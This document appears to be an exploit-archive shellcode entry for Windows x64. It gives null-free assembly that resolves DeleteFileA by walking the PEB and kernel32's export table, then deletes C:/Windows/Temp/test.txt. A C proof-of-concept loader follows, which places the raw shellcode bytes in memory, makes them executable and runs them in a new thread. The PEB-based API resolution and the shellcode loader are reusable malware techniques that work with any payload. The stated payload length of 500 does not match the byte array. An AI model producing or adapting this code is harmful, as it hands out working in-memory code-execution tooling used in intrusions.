; Name: Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode ; Author: Nayani ; Date: 22/04/2023 ; Tested on: Microsoft Windows [Version 10.0.22621 Build 22621] ; Description: ; This an implementation of DeleteFileA Windows api to delete a file in the C:/Windows/Temp/ directory. ; To test this code create a file: ; echo "test" >> C:/Windows/Temp/test.txt ; and then execute the shellcode ; This code uses PEB to resolve kernel32 and find the DeleteFileA function. sub rsp, 28h and rsp, 0fffffffffffffff0h xor rdi, rdi mul rdi mov r9, gs:[rax+0x60] mov r9, [r9+0x18] mov r9, [r9+0x20] mov r9, [r9] mov r9, [r9] mov r9, [r9+0x20] mov r8, r9 ; Get kernel32.dll ExportTable Address mov r9d, [r9+0x3C] add r9, r8 xor rcx, rcx add cx, 0x88ff shr rcx, 0x8 mov edx, [r9+rcx] add rdx, r8 ; Get &AddressTable from Kernel32.dll ExportTable xor r10, r10 mov r10d, [rdx+0x1C] add r10, r8 ; Get &NamePointerTable from Kernel32.dll ExportTable xor r11, r11 mov r11d, [rdx+0x20] add r11, r8 ; Get &OrdinalTable from Kernel32.dll ExportTable xor r12, r12 mov r12d, [rdx+0x24] add r12, r8 jmp short name_api getaddr: pop r9 pop rcx xor rax, rax mov rdx, rsp push rcx check_loop: mov rcx, [rsp] xor rdi,rdi mov edi, [r11+rax*4] add rdi, r8 mov rsi, rdx repe cmpsb je resolver incloop: inc rax jmp short check_loop resolver: pop rcx mov ax, [r12+rax*2] mov eax, [r10+rax*4] add rax, r8 push r9 ret name_api: ; DeleteFileA xor rcx, rcx add cl, 0xC mov rax, 0x41656CFFFFFFFFFF ;leA shr rax, 40 push rax mov rax, 0x69466574656C6544 ;DeleteFi push rax push rcx call getaddr mov r14, rax ; Bool DeleteFileA( ; LPCSTR lpFileName ; ); xor rcx, rcx mul rcx push rax mov rax, 0x7478742E74736574 push rax mov rax, 0x2F706D65542F7377 ; ws/temp push rax mov rax, 0x6F646E69572F3A43 ; c:/Windo push rax ; RSP = "test.txt" mov rcx, rsp ; RCX = "test.txt" sub rsp, 0x20 call r14 ;Delete File in C:/Windows/Temp/test.txt add rsp, 0x20 [!]===================================== POC ========================================= [!] #include void main() { void* exec; BOOL rv; HANDLE th; DWORD oldprotect = 0; unsigned char payload[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xff\x48\xf7\xe7\x65\x4c\x8b\x48\x60\x4d\x8b\x49\x18\x4d\x8b\x49\x20\x4d\x8b\x09\x4d\x8b\x09\x4d\x8b\x49\x20\x4d\x89\xc8\x45\x8b\x49\x3c\x4d\x01\xc1\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x41\x8b\x14\x09\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x34\x41\x59\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x41\x51\xc3\x48\x31\xc9\x80\xc1\x0c\x48\xb8\xff\xff\xff\xff\xff\x6c\x65\x41\x48\xc1\xe8\x28\x50\x48\xb8\x44\x65\x6c\x65\x74\x65\x46\x69\x50\x51\xe8\xa6\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x74\x65\x73\x74\x2e\x74\x78\x74\x50\x48\xb8\x77\x73\x2f\x54\x65\x6d\x70\x2f\x50\x48\xb8\x43\x3a\x2f\x57\x69\x6e\x64\x6f\x50\x48\x89\xe1\x48\x83\xec\x20\x41\xff\xd6\x48\x83\xc4\x20"; unsigned int payload_len = 500; exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, payload, payload_len); rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); WaitForSingleObject(th, -1); }